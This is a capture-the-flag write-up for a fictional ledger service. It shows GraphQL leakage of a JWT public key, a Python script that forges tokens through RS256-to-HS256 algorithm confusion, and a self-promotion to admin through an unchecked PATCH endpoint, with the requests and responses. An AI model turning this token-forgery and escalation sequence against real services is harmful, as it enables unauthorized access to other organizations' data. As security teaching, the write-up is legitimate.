Deputy's Ledger — Web Exploitation Writeup
Category: Web Exploitation
Difficulty: Medium
Author: LordSudo
Flag: africc{d3putys_l3dg3r_h4s_s0_much_fun}
Overview
The challenge presents a ledger/accounting service for a fictional organization. We are given two low-privileged accounts and a hint: "One org's paper trail leads to another's." The service turns out to expose a GraphQL endpoint that leaks the JWT public signing key and the internal directory of all organizations and users. Because the backend verifies JWTs insecurely, we can re-sign a forged token using the leaked public key (RS256 → HS256 algorithm confusion), cross into the second organization, escalate to admin via an insecure PATCH /members/<username> endpoint, and read the master ledger containing the flag.
Step 1 — Reconnaissance
1.1 The briefing page
GET / returns a case-file page with the following issued credentials:
| Username | Password |
|---|---|
analyst |
hunting4bugs |
guest |
guest123 |
"Both accounts above are standard members of a single organization. No admin credentials have been issued to anyone, in any organization on file."
So there are multiple organizations, and we are only a member of one.
1.2 Directory enumeration
Using gobuster with a Firefox UA, an interesting endpoint is discovered:
/api (Status: 200) [Size: 192]1.3 The API map
GET /api returns the service's endpoint list:
{
"endpoints": [
"/api/login",
"/api/whoami",
"/api/ledger/<org_id>/records",
"/api/ledger/<org_id>/master",
"/api/ledger/<org_id>/members/<username> [PATCH]",
"/graphql"
],
"service": "deputys-ledger"
}Step 2 — Authentication
Logging in with the issued credentials returns a JWT:
POST /api/login
Content-Type: application/json
{"username":"analyst","password":"hunting4bugs"}Response:
{
"token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0Iiwib3JnX2lkIjoiYWNtZSIsImlhdCI6MTc4NjA4MzAwNywiZXhwIjoxNzg2MDkwMjA3fQ.ZG1wy..."
}Decoding the payload:
{"sub":"analyst","org_id":"acme","iat":1786083007,"exp":1786090207}/api/whoami confirms we are only a member of acme:
{"org_id":"acme","role":"member","sub":"analyst"}The ledger endpoints are gated:
GET /api/ledger/acme/master
→ {"error":"forbidden — admin role required"}GET /api/ledger/globex/records
→ {"error":"forbidden — not a member of this org"}So we know:
org_idlives in the JWT (signed with RS256).- Accessing another org requires a token claiming
org_id: globex. - Reading
masterrequires admin role.
Step 3 — GraphQL information disclosure
Querying POST /graphql introspection reveals four queries:
Query:
ping
apiVersion
debugLedger
internalDirectory
InternalDirectoryType:
signingKeyPem
orgs
usersThe internalDirectory query leaks everything:
{ internalDirectory { signingKeyPem orgs { id name } users { username orgId } } }{
"data": {
"internalDirectory": {
"signingKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A..."
"orgs": [
{"id":"acme", "name":"Acme Corp"},
{"id":"globex", "name":"Globex Ledger Services"}
],
"users": [
{"orgId":"acme", "username":"analyst"},
{"orgId":"acme", "username":"guest"},
{"orgId":"globex", "username":"director"}
]
}
}
}This is the heart of the challenge:
- There is a second organization: globex (
Globex Ledger Services). - Its only member is the director user.
- The JWT public key is exposed — intended to be abused.
debugLedger(orgId: "...") can also read any org's records regardless of token scope, but the flag lives in the master ledger which needs admin.
Step 4 — JWT algorithm confusion (RS256 → HS256)
We have the public key but not the private key, so we cannot forge an RS256 token. However, the classic vulnerability: many JWT libraries validate the signature using the key configured for the algorithm named in the header. If the server accepts HS256 and uses the same PEM bytes as the HMAC secret, we can sign arbitrary tokens with the public key.
4.1 Forge a globex token
Signing header HS256, payload {"sub":"director","org_id":"globex",...} with the public key bytes as HMAC secret:
import base64, json, hmac, hashlib
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(bclass="hljs-string">'=')
pub = open(class="hljs-string">'pub.pem', class="hljs-string">'rb').read() # leaked via GraphQL
header = {class="hljs-string">"alg":class="hljs-string">"HS256",class="hljs-string">"typ":class="hljs-string">"JWT"}
payload = {class="hljs-string">"sub":class="hljs-string">"director",class="hljs-string">"org_id":class="hljs-string">"globex",class="hljs-string">"iat":1786083007,class="hljs-string">"exp":1786090207}
h = b64url(json.dumps(header, separators=(class="hljs-string">',',class="hljs-string">':')).encode())
p = b64url(json.dumps(payload, separators=(class="hljs-string">',',class="hljs-string">':')).encode())
sig = hmac.new(pub, h + bclass="hljs-string">'.' + p, hashlib.sha256).digest()
token = h.decode() + class="hljs-string">'.' + p.decode() + class="hljs-string">'.' + b64url(sig).decode()4.2 Verify the forged token works
GET /api/whoami
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkaXJlY3RvciIsIm9yZ19pZCI6Imdsb2JleCIsImlhdCI6MTc4NjA4MzAwNywiZXhwIjoxNzg2MDkwMjA3fQ.0H7__...{"org_id":"globex","role":"member","sub":"director"}We are now accepted as a globex member. (The role is stored server-side, not in the token.)
Step 5 — Privilege escalation via PATCH members
Reading globex/master still fails:
{"error":"forbidden — admin role required"}The endpoint list hinted at PATCH /api/ledger/<org_id>/members/<username>. Patching our own token's user (director) inside globex while holding the forged token:
PATCH /api/ledger/globex/members/director
Content-Type: application/json
Authorization: Bearer <forged globex token>
{"role":"admin"}{"org_id":"globex","role":"admin","username":"director"}This endpoint happily promotes the user to admin without any authorization check — an IDOR / missing authorization issue.
Step 6 — Read the master ledger → flag
GET /api/ledger/globex/master
Authorization: Bearer <forged globex token>{
"entries": [
{"amount":250000.0, "note":"Master reserve account"}
],
"flag": "africc{d3putys_l3dg3r_h4s_s0_much_fun}"
}Flag
africc{d3putys_l3dg3r_h4s_s0_much_fun}Summary of vulnerabilities
- GraphQL information disclosure —
internalDirectoryexposes the JWT public signing key, all organization IDs, and usernames. - JWT algorithm confusion (CVE-style) — server accepts
HS256and uses the RSA public key as the HMAC secret, enabling token forgery for arbitrary org (globex). - Insecure direct object reference on
PATCH /members/<username>— any member can promote themselves (or the target user) toadminin their org without an admin check. - Missing admin authorization on
/api/ledger/<org_id>/masterbeyond role — combined with #3, leads to reading the master ledger containing the flag.
The title, "Deputy's Ledger", hints that a low-privileged "deputy" can abuse insecure role management to climb the org ladder and follow the paper trail from one org (acme) into another (globex).